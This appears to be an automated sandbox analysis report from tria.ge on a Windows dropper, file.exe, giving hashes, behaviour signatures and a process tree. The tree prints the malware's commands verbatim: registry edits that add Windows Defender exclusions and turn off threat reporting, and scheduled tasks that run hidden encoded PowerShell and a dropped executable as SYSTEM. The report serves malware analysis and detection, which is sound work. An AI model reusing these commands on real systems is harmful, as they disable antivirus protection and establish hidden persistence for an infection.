Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    133s
  • max time network
    142s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/09/2022, 18:16

General

  • Target

    file.exe

  • Size

    7.2MB

  • MD5

    6c87eccc9b5cfa464e7126794fcd4b45

  • SHA1

    53baf960a4aee75b720223f2a1a0fe9a014c4b61

  • SHA256

    cf131c880e391705e5966935d2733fd057056667006e377a4a52bfbc19ec1d55

  • SHA512

    90ee3dd05de19cf5f8604599401b906db7bcdb7dc9d42abb8bbe820f7d33d2b6de5429f275ae51316e763637648bd7edc790fe9fb53b01a09e89415693774eb2

  • SSDEEP

    196608:91Oz42re29mcd7uG398kseC6HrKNDc7iapONLRrQRW:3OE2re2Qcd/36ks7qKNDc7Pw1RIW

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Executes dropped EXE 4 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 3 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 31 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 11 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 40 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5100
    • C:\Users\Admin\AppData\Local\Temp\7zS66AE.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2732
      • C:\Users\Admin\AppData\Local\Temp\7zS69AB.tmp\Install.exe
        .\Install.exe /S /site_id "525403"
        3⤵
        • Executes dropped EXE
        • Checks BIOS information in registry
        • Checks computer location settings
        • Drops file in System32 directory
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:420
        • C:\Windows\SysWOW64\forfiles.exe
          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4636
          • C:\Windows\SysWOW64\cmd.exe
            /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:2248
            • \??\c:\windows\SysWOW64\reg.exe
              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
              6⤵
                PID:4536
              • \??\c:\windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                6⤵
                  PID:1884
            • C:\Windows\SysWOW64\forfiles.exe
              "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:2764
              • C:\Windows\SysWOW64\cmd.exe
                /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:3308
                • \??\c:\windows\SysWOW64\reg.exe
                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                  6⤵
                    PID:3532
                  • \??\c:\windows\SysWOW64\reg.exe
                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                    6⤵
                      PID:4332
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /CREATE /TN "gGTlMRreb" /SC once /ST 00:28:27 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                  4⤵
                  • Creates scheduled task(s)
                  PID:3004
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /run /I /tn "gGTlMRreb"
                  4⤵
                    PID:204
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /DELETE /F /TN "gGTlMRreb"
                    4⤵
                      PID:1452
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /CREATE /TN "bNHXguvSZYiOwSiXLC" /SC once /ST 20:17:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\kVuqSqHMACBMgWqnt\QEJzPCsOgNeEaNF\unVKAsR.exe\" 3x /site_id 525403 /S" /V1 /F
                      4⤵
                      • Drops file in Windows directory
                      • Creates scheduled task(s)
                      PID:4220
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                1⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:4964
                • C:\Windows\system32\gpupdate.exe
                  "C:\Windows\system32\gpupdate.exe" /force
                  2⤵
                    PID:4800
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                  1⤵
                    PID:4620
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                    1⤵
                      PID:4804
                    • C:\Windows\system32\gpscript.exe
                      gpscript.exe /RefreshSystemParam
                      1⤵
                        PID:1436
                      • C:\Users\Admin\AppData\Local\Temp\kVuqSqHMACBMgWqnt\QEJzPCsOgNeEaNF\unVKAsR.exe
                        C:\Users\Admin\AppData\Local\Temp\kVuqSqHMACBMgWqnt\QEJzPCsOgNeEaNF\unVKAsR.exe 3x /site_id 525403 /S
                        1⤵
                        • Executes dropped EXE
                        • Drops file in System32 directory
                        • Suspicious use of WriteProcessMemory
                        PID:3304
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
                          2⤵
                          • Drops file in System32 directory
                          • Modifies data under HKEY_USERS
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:2692
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                            3⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3980
                            • C:\Windows\SysWOW64\reg.exe
                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                              4⤵
                                PID:1612
                            • C:\Windows\SysWOW64\reg.exe
                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                              3⤵
                                PID:2512
                              • C:\Windows\SysWOW64\reg.exe
                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                3⤵
                                  PID:2452
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                  3⤵
                                    PID:2728
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                    3⤵
                                      PID:4540
                                    • C:\Windows\SysWOW64\reg.exe
                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                      3⤵
                                        PID:4632
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                        3⤵
                                          PID:4744
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                          3⤵
                                            PID:3996
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                            3⤵
                                              PID:3452
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                              3⤵
                                                PID:1812
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                3⤵
                                                  PID:1924
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                  3⤵
                                                    PID:1372
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                    3⤵
                                                      PID:3388
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                      3⤵
                                                        PID:500
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                        3⤵
                                                          PID:4992
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                          3⤵
                                                            PID:3376
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                            3⤵
                                                              PID:3332
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                              3⤵
                                                                PID:5008
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                3⤵
                                                                  PID:4200
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                  3⤵
                                                                    PID:3860
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                    3⤵
                                                                      PID:4484
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                      3⤵
                                                                        PID:3024
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                        3⤵
                                                                          PID:3756
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                          3⤵
                                                                            PID:4832
                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ATZmuaBwNwmU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ATZmuaBwNwmU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QYiUKrukFVUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QYiUKrukFVUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\SHsJRQZsU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\SHsJRQZsU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\aJAQLsoDkiWqC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\aJAQLsoDkiWqC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\obbvPdCxLMZjlJoeoAR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\obbvPdCxLMZjlJoeoAR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\fxkldoUMcXUSOxVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\fxkldoUMcXUSOxVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\kVuqSqHMACBMgWqnt\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\kVuqSqHMACBMgWqnt\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\MYjwJFnMfsmfKHMw\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\MYjwJFnMfsmfKHMw\" /t REG_DWORD /d 0 /reg:64;"
                                                                          2⤵
                                                                          • Drops file in System32 directory
                                                                          • Modifies data under HKEY_USERS
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:3916
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ATZmuaBwNwmU2" /t REG_DWORD /d 0 /reg:32
                                                                            3⤵
                                                                              PID:2380
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ATZmuaBwNwmU2" /t REG_DWORD /d 0 /reg:32
                                                                                4⤵
                                                                                  PID:4816
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ATZmuaBwNwmU2" /t REG_DWORD /d 0 /reg:64
                                                                                3⤵
                                                                                  PID:4480
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QYiUKrukFVUn" /t REG_DWORD /d 0 /reg:32
                                                                                  3⤵
                                                                                    PID:3552
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QYiUKrukFVUn" /t REG_DWORD /d 0 /reg:64
                                                                                    3⤵
                                                                                      PID:3844
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\SHsJRQZsU" /t REG_DWORD /d 0 /reg:32
                                                                                      3⤵
                                                                                        PID:4232
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\SHsJRQZsU" /t REG_DWORD /d 0 /reg:64
                                                                                        3⤵
                                                                                          PID:740
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\aJAQLsoDkiWqC" /t REG_DWORD /d 0 /reg:32
                                                                                          3⤵
                                                                                            PID:3744
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\aJAQLsoDkiWqC" /t REG_DWORD /d 0 /reg:64
                                                                                            3⤵
                                                                                              PID:1200
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\obbvPdCxLMZjlJoeoAR" /t REG_DWORD /d 0 /reg:32
                                                                                              3⤵
                                                                                                PID:1140
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\obbvPdCxLMZjlJoeoAR" /t REG_DWORD /d 0 /reg:64
                                                                                                3⤵
                                                                                                  PID:4604
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\fxkldoUMcXUSOxVB /t REG_DWORD /d 0 /reg:32
                                                                                                  3⤵
                                                                                                    PID:2444
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\fxkldoUMcXUSOxVB /t REG_DWORD /d 0 /reg:64
                                                                                                    3⤵
                                                                                                      PID:3420
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\kVuqSqHMACBMgWqnt /t REG_DWORD /d 0 /reg:32
                                                                                                      3⤵
                                                                                                        PID:4644
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\kVuqSqHMACBMgWqnt /t REG_DWORD /d 0 /reg:64
                                                                                                        3⤵
                                                                                                          PID:1888
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\MYjwJFnMfsmfKHMw /t REG_DWORD /d 0 /reg:32
                                                                                                          3⤵
                                                                                                            PID:4676
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\MYjwJFnMfsmfKHMw /t REG_DWORD /d 0 /reg:64
                                                                                                            3⤵
                                                                                                              PID:4728
                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                            schtasks /CREATE /TN "gCpAggfgj" /SC once /ST 02:56:55 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                            2⤵
                                                                                                            • Creates scheduled task(s)
                                                                                                            PID:2168
